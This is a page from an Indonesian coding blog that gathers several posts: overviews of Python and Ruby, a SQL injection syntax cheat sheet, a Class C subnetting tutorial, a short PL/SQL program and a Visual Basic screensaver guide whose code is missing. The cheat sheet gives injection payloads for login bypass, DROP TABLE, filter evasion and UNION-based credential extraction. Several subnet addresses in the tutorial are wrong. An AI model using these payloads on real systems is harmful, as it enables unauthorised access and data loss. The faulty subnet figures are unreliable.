Teknologi Informasi | Bahasa Program | Tips dan Trik

Showing posts with label Coding. Show all posts
Showing posts with label Coding. Show all posts

17 February 2014

Bahasa Pemrograman Phyton



Python adalah bahasa pemrograman dinamis yang mendukung pemrograman berorientasi obyek. Python adalah salah satu bahasa pemrograman yang sangat powerfull dan mudah untuk dipelajari. Python memiliki struktur data tingkat tinggi yang sangat efisien dan sederhana tapi efektif untuk penerapan pemrograman berorientasi objek. python seringkali digunakan sebagai bahasa skrip dengan interpreter yang teintergrasi dalam sistem operasi. Python memiliki syntax dan type data dinamis yang elegan hingga membuatnya menjadi bahasa yang sangat ideal untuk scripting dan pengembangan aplikasi diberbagai bidang dan flatform system operasi.

Saat ini kode python dapat dijalankan pada sistem berbasis:
Python didistribusikan dengan beberapa lisensi yang berbeda dari beberapa versi. Lihat sejarahnya di Python Copyright. Namun pada prinsipnya Python dapat diperoleh dan dipergunakan secara bebas, bahkan untuk kepentingan komersial. Lisensi Python tidak bertentangan baik menurut definisi Open Source maupun General Public License (GPL) Python dikembangkan oleh Guido van Rossum pada tahun 1990 di CWI, Amsterdam sebagai kelanjutan dari bahasa pemrograman ABC. Versi terakhir yang dikeluarkan CWI adalah 1.2.

Tahun 1995, Guido pindah ke CNRI sambil terus melanjutkan pengembangan Python. Versi terakhir yang dikeluarkan adalah 1.6. Tahun 2000, Guido dan para pengembang inti Python pindah ke BeOpen.com yang merupakan sebuah perusahaan komersial dan membentuk BeOpen PythonLabs. Python 2.0 dikeluarkan oleh BeOpen. Setelah mengeluarkan Python 2.0, Guido dan beberapa anggota tim PythonLabs pindah ke DigitalCreations. Saat ini pengembangan Python terus dilakukan oleh sekumpulan pemrogram yang dikoordinir Guido dan Python Software Foundation. Python Software Foundation adalah sebuah organisasi non-profit yang dibentuk sebagai pemegang hak cipta intelektual Python sejak versi 2.1 dan dengan demikian mencegah Python dimiliki oleh perusahaan komersial. Saat ini distribusi Python sudah mencapai versi 2.6.1 dan versi 3.0.

Nama Python dipilih oleh Guido sebagai nama bahasa ciptaannya karena kecintaan guido pada acara televisi Monty Python's Flying Circus. Oleh karena itu seringkali ungkapan-ungkapan khas dari acara tersebut seringkali muncul dalam korespondensi antar pengguna Python.


Beberapa fitur yang dimiliki Python adalah:

  • memiliki kepustakaan yang luas; dalam distribusi Python telah disediakan modul-modul 'siap pakai' untuk berbagai keperluan.
  • memiliki tata bahasa yang jernih dan mudah dipelajari.
  • memiliki aturan layout kode sumber yang memudahkan pengecekan, pembacaan kembali dan penulisan ulang kode sumber.
  • berorientasi obyek.
  • memiliki sistem pengelolaan memori otomatis (garbage collection, seperti java)
  • modular, mudah dikembangkan dengan menciptakan modul-modul baru; modul-modul tersebut dapat dibangun dengan bahasa Python maupun C/C++.
  • memiliki fasilitas pengumpulan sampah otomatis, seperti halnya pada bahasa pemrograman Java, python memiliki fasilitas pengaturan penggunaan ingatan komputer sehingga para pemrogram tidak perlu melakukan pengaturan ingatan komputer secara langsung.
Aplikasi populer yang dibuat dengan Python : 
1. BitTorrent
sebuah program peer-to-peer untuk melakukan upload/download file melalui protokol BitTorrent. Awalnya, BitTorrent ditulis dengan Python dan merupakan software gratis. Tetapi, sejak versi 6.0 ke atas, BitTorrent ditulis dengan menggunakan C++ dan merupakan software proprietary.

2. Yum
Sebuah utiliti RPM manajemen paket berbasis command line yang dikenal pada sistem operasi Linux.

3. Plone.
Merupakan salah satu Content Management System (CMS) yang memiliki tingkat security yang sangat baik dan memiliki berbagai fitur yang menarik.

4. Game ini menggunakan Python untuk melakukan berbagai fungsi, seperti menghasilkan peta, event, dan berbagai interface pada game tersebut.

Dan masih banyak lagi contoh lainnya. Python tidak terbatas untuk pembuatan aplikasi tertentu. Selain contoh-contoh aplikasi populer diatas, berbagai aplikasi seperti instant messaging, database, media player, web framework, dan lainnya, juga dapat dihasilkan oleh bahasa pemrograman Python.

Sumber : http://id.wikipedia.org

15 February 2014

Bahasa Pemrograman Ruby



Ruby adalah salah satu bahasa pemrograman web yang sekarang ini mulai banyak dikenal sebagai salah satu alternatif bahasa untuk pembangunan suatu web. Ruby diciptakan oleh Yukihiro “matz” Matsumoto. Ruby merupakan penggabungan dari bahasa-bahasa pemrograman lainnya seperti Perl, Smalltalk, Eiffel, Ada, dan Lisp.

Inti dari bahasa pemrograman Ruby yaitu semua objek. Setiap informasi dan kode dapat diberi property dan action. Dalam pemrograman berorientasi objek setiap pemanggilan property dan action dilakukan melalui metode.

Ruby juga merupakan bahasa yang fleksibel dikarenakan kita dapat mengubah bagianbagian dari Ruby secara bebas sehingga programmer tidak merasa dibatasi. Bagian-bagian yang merupakan esensi dapat dihapus dan didefinisikan ulang.

Dalam bahasa Ruby terdapat konsep-konsep pokok yang harus diperhatikan, yaitu:
  1. Classes : representasi abstrak dari objek dunia nyata, termasuk karakteristik dan fungsionalitas.
  2. Attributes : variabel-variabel yang menggambarkan kualitas dari suatu class.
  3. Methods : fungsionalitas yang disediakan oleh suatu class. Dapat juga dikatakan bahwa yaitu apa saja yang dapat dilakukan oleh suatu class.
  4. Objects : sebutan lain untuk instance class. Misalnya yang menjadi objek dari class alat tulis yaitu pulpen, pensil, spidol.
  5. Inheritance : secara harfiah berarti sesuatu yang diwariskan dari orang tua kepada anak. Tetapi dalam Ruby yang menggunakan pendekatan Object-Oriented yaitu suatu class dapat mewariskan methods dan attributes kepada class lain.
  6. Modules : koleksi dari kumpulan class dan methods.
  7. Data Types : Ruby memiliki tiga jenis tipe data primitif, yaitu Number, Float, dan String.
  8. Blocks dan Iterators : Ruby menyediakan unnamed blocks untuk mengelompokkan suatu kumpulan pernyataan bersama-sama. Sedangkan iterator merupakan teknik yang digunakan untuk melihat kumpulan pernyataan tersebut.
  9. Exception Handling : kondisi error yang menginterupsi ekseskusi normal suatu program.Exception dapat terjadi oleh banyak sebab termasuk I/O errors dan dalam hal pembagian dengan nol.
  10. Data Structures : struktur data yang biasa digunakan dalam Ruby yaitu Array dan Hashes.
Ruby on Rails (RoR)
Ruby on Rails merupakan Ruby-based framework yang menggunakan pendekatan Model View Controller (MVC). Jika ingin membangun suatu website dengan menggunakan Ruby, maka dibutuhkan Rails.

Rails menggunakan Model View Controller (MVC) sebagai design pattern-nya. Struktur penyusun MVC ada 3 jenis yang saling bekerja sama,yaitu:
  1. Model : mewakili data yang diproses oleh suatu aplikasi. Menyediakan suatu link ke penyimpanan data.
  2. View : representasi visual dari user interface atau bisa dibilang tampilan suatu aplikasi.
  3. Controller : mewakili control flow logic. 
  4. Active Record : merupakan ‘Model’ dalam RoR. Komponen Model menyimpan data dan menyediakan fungsionalitas untuk bekerja dengan data.
  5. Action View : komponen View meliputi presentasi logik dari data yang ada pada komponen Model. Action View merupakan komponen View pada RoR.
  6. Action Controller : controller menyusun aliran logika.
Kelebihan dan Kekurangan

Kelebihan:
  1. Sintaks sederhana
  2. Memiliki Exception Handling yang baik
  3. Single inheritance
  4. Didukung oleh OS Linux, Windows, MacOS X, OS/2, BeOs, dan Unix.
  5. Memiliki garbage collector yang secara otomatis akan menghapus informasi tak terpakai dari memori
  6. Object Oriented Program (OOP).
  7. Merupakan bahasa pemrograman scripting yang berorientasi objek
Kelemahan :
  1. Multithreading.
  2. Virtual Memory
  3. Spek. saat ini spesifikasi ruby (syntax, behaviour, dll) adalah implementasi ruby yang asli dari matz.
  4. IDE. Saat ini kualitas IDE untuk ruby masih jauh daripada .net dan java.

3 February 2014

Syntax SQL Injection

1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#

Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan

2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist

+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya

3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–

4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,'false’)

5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist

Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist

6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.

Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel

Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel

Note: MySQL server versi lama tidak support sama perintah UNION

Subnet Class C


Penulisan IP address umumnya adalah dengan 192.168.1.2. Namun adakalanya ditulis dengan 192.168.1.2/24, apa ini artinya? Artinya bahwa IP address 192.168.1.2 dengan subnet mask 255.255.255.0. /24 diambil dari penghitungan bahwa 24 bit subnet mask diselubung dengan binari 1. Atau dengan kata lain, subnet masknya adalah: 11111111.11111111.11111111.00000000 (255.255.255.0). Konsep ini yang disebut dengan CIDR (Classless Inter-Domain Routing) yang diperkenalkan pertama kali tahun 1992 oleh IEFT.

IP address dibagi menjadi tiga kelas yang berbeda yaitu : Kelas A, B dan C, disediakan untuk mendukung jumlah dari Network Number.

Class IP yang paling banyak digunakan, yaitu:
1. Class A dengan 1 byte network id dan 3 byte host id, default subnet mask 255.0.0.0 atau 11111111.00000000.00000000.00000000.

2. Class B dengan 2 byte network id dan 2 byte host id, default subnet mask 255.255.0.0 atau 11111111.11111111.00000000.00000000.

3. Class C dengan 3 byte network id dan 1 byte host id, default subnet mask 255.255.255.0 atau 11111111.1111111.11111111.00000000.

CIDR (Classes Inter-Domain Routing) adalah suatu metode yang dimanfaatkan oleh ISP (Internet Service Provider) untuk mengalokasikan sekelompok alamat IP ke pelanggannya (client). Misalnya kita memperoleh IP dari ISP dalam bentuk seperti ini 100.34.221.90/15, maka /15 menunjukkan jumlah digit biner 1 pada subnet mask kita. Dari /15 dalam biner menjadi 11111111.11111110.0000000.00000000, maka subnet mask kita adalah 255.254.0.0 termasuk class B gampang kan. CIDR maksimal yang dimiliki oleh setiap class ip adalah sebagai berikut:

  • Class A sampai /8
  • Class B sampai /16
  • Class C sampai /24

Contoh subnet class c dengan 5 network:
Terdapat IP address 193.1.1.0/24 dan di butuhkan 5 subnet(network)

Penyelesaian :

Tahap pertama kita harus ketahui berapa bit yang dibutuhkan 5 subnet, dicari dengan melihat kelipatan dua (2,4,8,16,32,64,dst). Disini terlihat bahwa untuk persis sama dengan 5 tidak ada kita harus pilih bilangan yang atasnya (8) atau 23 ada 2 tersisa dapat digunakan untuk kebutuhan masa yang akan datang. Disini 23 berarti kita butuh 3 bit untuk membentuk extended subnet, contoh diatas subnettingnya /24 berarti extendednya adalah /27 untuk jelasnya dapat dilihat gambar di bawah ini.

193.1.1.0/24 = 11000001.00000001.00000001.00000000

255.255.255.224 = 11111111.11111111.11111111.11100000

27 Bit
27 bit extended network ini menyisakan 5 bit untuk mendefinisikan alamat host, berarti ada 25 (32) alamat IP yang dapat dibentuk tapi karena nilai 0 semua dan 1 semua tidak dapat dialokasi (untuk network dan broadcast) jadi yang tersisa ada 30 ( 25-2) untuk masing-masing subnet.

Alamat asal : 11000001.00000001.00000001.00000000 = 193.1.1.0/24

Subnet #0 : 11000001.00000001.00000001.00000000 = 193.1.1.0/27

Subnet #1 : 11000001.00000001.00000001.00100000 = 193.1.32.0/27

Subnet #2 : 11000001.00000001.00000001.01000000 = 193.1.64.0/27

Subnet #3 : 11000001.00000001.00000001.01100000 = 193.1.96.0/27

Subnet #4 : 11000001.00000001.00000001.10000000 = 193.1.128.0/27

Subnet #5 : 11000001.00000001.00000001.10100000 = 193.1.160.0/27
Untuk membedakan bahwa perbedaan antara subnet satu dengan yang lainnya adalah kelipatan 32 : 0, 32, 64, 96 ... di dapat dari (255-224 = 32)

Alamat broadcast subnet :

Subnet #0 : 11000001.00000001.00000001.00011111 = 193.1.1.31/27
Subnet #1 : 11000001.00000001.00000001.00111111 = 193.1.1.63/27
Subnet #2 : 11000001.00000001.00000001.01011111 = 193.1.1.95/27
Subnet #3 : 11000001.00000001.00000001.01111111 = 193.1.1.127/27
Subnet #4 : 11000001.00000001.00000001.10011111 = 193.1.1.159/27
Subnet #5 : 11000001.00000001.00000001.10111111 = 193.1.1.191/27

Alamat host subnet :

Subnet #0 : Host#1: 193.1.1.1 s/d Host#32 : 193.1.1.30
Subnet #1 : Host#1: 193.1.1.33 s/d Host#32: 193.1.1.62
Subnet #2 : Host#1: 193.1.1.65 s/d Host#32: 193.1.1.94
Subnet #3 : Host#1: 193.1.1.97 s/d Host#32: 193.1.1.126
Subnet #4 : Host#1: 193.1.1.129 s/d Host#32: 193.1.1.158
Subnet #5 : Host#1: 193.1.1.161 s/d Host#32: 193.1.1.190

1 February 2014

Program genap Ganjil PL-SQL

SET SERVEROUTPUT ON
DECLARE
BIL INTEGER := 3;
BEGIN
IF MOD(BIL, 2) = 0 THEN
DBMS_OUTPUT.PUT_LINE( TO_CHAR(BIL) || ‘ ADALAH
BILANGAN GENAP’);
ELSE
DBMS_OUTPUT.PUT_LINE( TO_CHAR(BIL) || ‘ ADALAH
BILANGAN GANJIL’);
END IF;
END;
/

17 December 2009

Membuat Screen Saver Pada Visual Basic

Langkah- langkah untuk membuat screen saver:
  • Buka program Visual Basic.
  • Klik menu File dan pilih New Project dan pilih yang Standart EXE dan klik OK.
  • Pada program visual basic pada form tambahkan toolbox  timer.




  • Klik pada timer dan pada jendela properties interval ditulis 200.




  • Double click pada timer dan muncul jendela view code dan tuliskan  coding programnya sebagai berikut:







  • Untuk menjalankan program caranya dengan menekan  icon tombol start atau tekan F5 pada keyboard dan berikut tampilannya:




free counters

 
Home | About | Sitemap | Privacy Policy | Contact Us | DMCA